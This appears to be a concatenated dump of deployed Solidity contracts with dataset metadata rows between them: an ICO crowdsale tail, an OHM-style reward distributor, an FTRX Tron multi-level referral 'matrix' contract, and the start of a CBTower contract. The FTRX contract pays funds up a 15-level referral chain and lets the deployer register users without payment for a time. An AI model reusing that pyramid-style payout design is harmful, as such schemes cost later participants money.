uint256 public capPreICO;
uint256 public capICO;
mapping(address => bool) internal allowedMinters;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function QuasacoinTokenCrowdsale() {
token = QuasacoinToken(0x4dAeb4a06F70f4b1A5C329115731fE4b89C0B227);
tokenOwner = 0x373ae730d8c4250b3d022a65ef998b8b7ab1aa53;
wallet = 0x373ae730d8c4250b3d022a65ef998b8b7ab1aa53;
// 15.01.18 00:00:00 (1515974400)
startPreICOTime = 1515974400;
// 15.02.18 00:00:00 (1518652800)
startICOTime = 1518652800;
// 26.03.18 00:00:00 (1522022400)
endTime = 1522022400;
// Pre-ICO, 1 ETH = 6000 QUA
ratePreICO = 6000;
// ICO, 1 ETH = 3000 QUA
rateICO = 3000;
capPreICO = 5000 ether;
capICO = 50000 ether;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens;
if(now < startICOTime) {
weiRaisedPreICO = weiRaisedPreICO.add(weiAmount);
tokens = weiAmount * ratePreICO;
}
else {
weiRaisedICO = weiRaisedICO.add(weiAmount);
tokens = weiAmount * rateICO;
}
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
if(now >= startPreICOTime && now < startICOTime) {
return weiRaisedPreICO.add(msg.value) <= capPreICO;
} else if(now >= startICOTime && now < endTime) {
return weiRaisedICO.add(msg.value) <= capICO;
} else
return false;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
if(now < startPreICOTime)
return false;
else if(now >= startPreICOTime && now < startICOTime) {
return weiRaisedPreICO >= capPreICO;
} else if(now >= startICOTime && now < endTime) {
return weiRaisedICO >= capICO;
} else
return true;
}
function returnTokenOwnership() public {
require(msg.sender == tokenOwner);
token.transferOwnership(tokenOwner);
}
function addMinter(address addr) {
require(msg.sender == tokenOwner);
allowedMinters[addr] = true;
}
function removeMinter(address addr) {
require(msg.sender == tokenOwner);
allowedMinters[addr] = false;
}
function mintProxy(address _to, uint256 _amount) public {
require(allowedMinters[msg.sender]);
require(now >= startPreICOTime && now < endTime);
uint256 weiAmount;
if(now < startICOTime) {
weiAmount = _amount.div(ratePreICO);
require(weiRaisedPreICO.add(weiAmount) <= capPreICO);
weiRaisedPreICO = weiRaisedPreICO.add(weiAmount);
}
else {
weiAmount = _amount.div(rateICO);
require(weiRaisedICO.add(weiAmount) <= capICO);
weiRaisedICO = weiRaisedICO.add(weiAmount);
}
token.mint(_to, _amount);
TokenPurchase(msg.sender, _to, weiAmount, _amount);
}
}
| 214,809 | 13,627 |
c16911828222b2a4fcc04009fa7875dbdeb0f8ad505c9a20c1090f6c97fa3a04
| 18,000 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/87/87ab1334a00a949c31a0e580cfe4168cc6057091_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 72,863 | 13,628 |
af52918fff7ffbec555de622e6cb2dd93cec38ad4bfa90d94a3d65edbc25502d
| 18,609 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQ2yKnaZmu2v67aeukXcgNeecUDwSALtga_FTRX.sol
| 4,617 | 17,251 |
//SourceUnit: FTRX.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract FTRX {
using SafeMath for uint256;
struct USER {
bool joined;
uint id;
address payable upline;
uint personalCount;
uint poolAchiever;
bool is_trx_pool;
bool is_ftrx_trx_pool;
uint256 originalReferrer;
mapping(uint8 => MATRIX) Matrix;
mapping(uint8 => bool) activeLevel;
}
struct MATRIX {
address payable currentReferrer;
address payable[] referrals;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "Only Deployer");
_;
}
uint maxDownLimit = 2;
uint public lastIDCount = 0;
uint public LAST_LEVEL = 9;
uint public poolTime = 24 hours;
uint public nextClosingTime = now + poolTime;
uint public deployerValidation = now + 24 hours;
address[] public trxPoolUsers;
address[] public ftrxTrxPoolUsers;
mapping(address => USER) public users;
mapping(uint256 => uint256) public LevelPrice;
uint256 public trxPoolAmount = 0;
uint256 public ftrxTrxPoolAmount = 0;
uint public DirectIncomeShare = 34;
uint public MatrixIncomeShare = 1;
uint public OverRideShare = 3;
uint public OtherOverRideShare = 3;
uint public CompanyShare = 9;
mapping(uint256 => uint256) public LevelIncome;
event Registration(address userAddress, uint256 accountId, uint256 refId);
event NewUserPlace(uint256 accountId, uint256 refId, uint place, uint level);
event Direct(uint256 accountId, uint256 from_id, uint8 level, uint256 amount);
event Level(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event Matrix(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event PoolEnterTrx(uint256 accountId, uint256 time);
event PoolEnterftrxTrx(uint256 accountId, uint256 time);
event PoolTrxIncome(uint256 accountId, uint256 amount);
event PoolftrxTrxIncome(uint256 accountId, uint256 amount);
event PoolAmountTrx(uint256 amount);
event PoolAmountftrxTrx(uint256 amount);
address public deployer;
address payable Company;
address payable public owner;
address payable public overRide;
address payable public otherOverRide;
mapping(uint256 => address payable) public userAddressByID;
constructor(address payable owneraddress, address payable _overRide, address payable _company, address payable _otherOverRide)
public
{
owner = owneraddress;
overRide = _overRide;
Company = _company;
otherOverRide = _otherOverRide;
deployer = msg.sender;
LevelPrice[1] = 1250000000;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
LevelPrice[i] = LevelPrice[i-1] * 2;
}
LevelIncome[1] = 16;
LevelIncome[2] = 2;
LevelIncome[3] = 1;
LevelIncome[4] = 1;
LevelIncome[5] = 1;
LevelIncome[6] = 1;
LevelIncome[7] = 1;
LevelIncome[8] = 1;
LevelIncome[9] = 1;
LevelIncome[10] = 1;
LevelIncome[11] = 1;
LevelIncome[12] = 1;
LevelIncome[13] = 2;
LevelIncome[14] = 3;
LevelIncome[15] = 4;
USER memory user;
lastIDCount++;
user = USER({joined: true, id: lastIDCount, originalReferrer: 1, personalCount : 0, upline:address(0), poolAchiever : 0, is_trx_pool : false, is_ftrx_trx_pool :false});
users[owneraddress] = user;
userAddressByID[lastIDCount] = owneraddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[owneraddress].activeLevel[i] = true;
}
trxPoolUsers.push(owneraddress);
ftrxTrxPoolUsers.push(owneraddress);
users[owneraddress].is_trx_pool = true;
}
function regUserDeployer(address payable userAddress, uint256 _referrerID) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
regUserInternal(userAddress, _referrerID);
}
function regUser(uint256 _referrerID) external payable {
require(msg.value == LevelPrice[1], "Incorrect Value");
regUserInternal(msg.sender, _referrerID);
}
function regUserInternal(address payable userAddress, uint256 _referrerID) internal {
uint256 originalReferrer = _referrerID;
uint8 _level = 1;
require(!users[userAddress].joined, "User exist");
require(_referrerID > 0 && _referrerID <= lastIDCount,"Incorrect referrer Id");
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddressByID[originalReferrer]].personalCount++;
USER memory UserInfo;
lastIDCount++;
UserInfo = USER({
joined: true,
id: lastIDCount,
upline : userAddressByID[originalReferrer],
originalReferrer: originalReferrer,
personalCount:0,
poolAchiever : 0,
is_trx_pool : false,
is_ftrx_trx_pool :false
});
users[userAddress] = UserInfo;
userAddressByID[lastIDCount] = userAddress;
emit Registration(userAddress, lastIDCount, originalReferrer);
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(lastIDCount, _referrerID, users[userAddressByID[_referrerID]].Matrix[1].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer){
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
}
function buyLevelDeployer(address payable userAddress, uint8 _level) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
buyLevelInternal(userAddress, _level);
}
function buyLevel(uint8 _level) public payable {
require(msg.value == LevelPrice[_level], "Incorrect Value");
buyLevelInternal(msg.sender, _level);
}
function buyLevelInternal(address payable userAddress, uint8 _level) internal {
require(users[userAddress].joined, "User Not");
require(_level > 1 && _level <= LAST_LEVEL, "Incorrect Level");
require(!users[userAddress].activeLevel[_level], "Already active");
require(users[userAddress].activeLevel[_level - 1], "Previous Level");
uint256 _referrerID = findFreeActiveReferrer(userAddress, _level);
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(users[userAddress].id, _referrerID, users[userAddressByID[_referrerID]].Matrix[_level].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer) {
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
if(_level == LAST_LEVEL) {
emit PoolEnterTrx(users[userAddress].id, now);
users[userAddress].is_trx_pool = true;
trxPoolUsers.push(userAddress);
users[users[userAddress].upline].poolAchiever++;
if(users[users[userAddress].upline].is_ftrx_trx_pool == false) {
if(users[users[userAddress].upline].poolAchiever >= 2 && users[users[userAddress].upline].is_trx_pool == true){
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[users[userAddress].upline].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(users[userAddress].upline);
}
}
if(users[userAddress].is_ftrx_trx_pool == false) {
if(users[userAddress].poolAchiever >= 2) {
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[userAddress].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(userAddress);
}
}
}
}
function distributeDirectIncome(address _user, uint8 _level) internal {
uint256 income = LevelPrice[_level] * DirectIncomeShare / 100;
if(users[_user].upline != address(0)) {
emit Direct(users[_user].originalReferrer,users[_user].id, _level, income);
if(msg.sender != deployer){
(users[_user].upline).transfer(income);
}
}
}
function levelIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].upline;
for(uint8 i = 1; i <= 15; i++) {
uint256 income = LevelPrice[_level] * LevelIncome[i] / 100;
if(_upline != address(0)) {
emit Level(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
_upline = users[_upline].upline;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function matrixIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].Matrix[_level].currentReferrer;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * MatrixIncomeShare / 100;
if(_upline != address(0)) {
if(users[_upline].activeLevel[i] == true) {
emit Matrix(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
_upline = users[_upline].Matrix[_level].currentReferrer;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function findFreeActiveReferrer(address userAddress, uint8 level) internal view returns(uint256) {
while (true) {
if (users[users[userAddress].upline].activeLevel[level] == true) {
return users[users[userAddress].upline].id;
}
userAddress = users[userAddress].upline;
}
}
function poolClosing(uint pool) public onlyDeployer {
require(now > nextClosingTime, "Closing Time not came yet!!!");
if(now > nextClosingTime){
if(pool == 1) {
if(trxPoolAmount > 0) {
uint256 perUserAmount = trxPoolAmount / trxPoolUsers.length;
for(uint i = 0; i < trxPoolUsers.length; i++) {
address userAddress = trxPoolUsers[i];
emit PoolTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
trxPoolAmount = 0;
}
}
if(pool == 2) {
if(ftrxTrxPoolAmount > 0) {
uint256 perUserAmount = ftrxTrxPoolAmount / ftrxTrxPoolUsers.length;
for(uint i = 0; i < ftrxTrxPoolUsers.length; i++) {
address userAddress = ftrxTrxPoolUsers[i];
emit PoolftrxTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
ftrxTrxPoolAmount = 0;
}
nextClosingTime = now.add(poolTime);
}
}
}
function findFreeReferrer(address _user, uint8 _level) internal view returns(address) {
if(users[_user].Matrix[_level].referrals.length < maxDownLimit){
return _user;
}
address[] memory referrals = new address[](2046);
referrals[0] = users[_user].Matrix[_level].referrals[0];
referrals[1] = users[_user].Matrix[_level].referrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i =0; i<2046;i++){
if(users[referrals[i]].Matrix[_level].referrals.length == maxDownLimit){
if(i<1022){
referrals[(i+1)*2] = users[referrals[i]].Matrix[_level].referrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].Matrix[_level].referrals[1];
}
}else{
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getMatrix(address userAddress, uint8 level)
public
view
returns (address payable,
address payable[] memory)
{
return (users[userAddress].Matrix[level].currentReferrer,
users[userAddress].Matrix[level].referrals);
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
}
| 290,548 | 13,629 |
f67b7f4fa9fcf761184bea9e17a76a35e9e692846f26ed29173ab720baf197a8
| 29,089 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b9/b99aD7bE0Bea73FA9cEd7b2F3A8bd5123BfafFf7_CBTower.sol
| 4,804 | 19,466 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
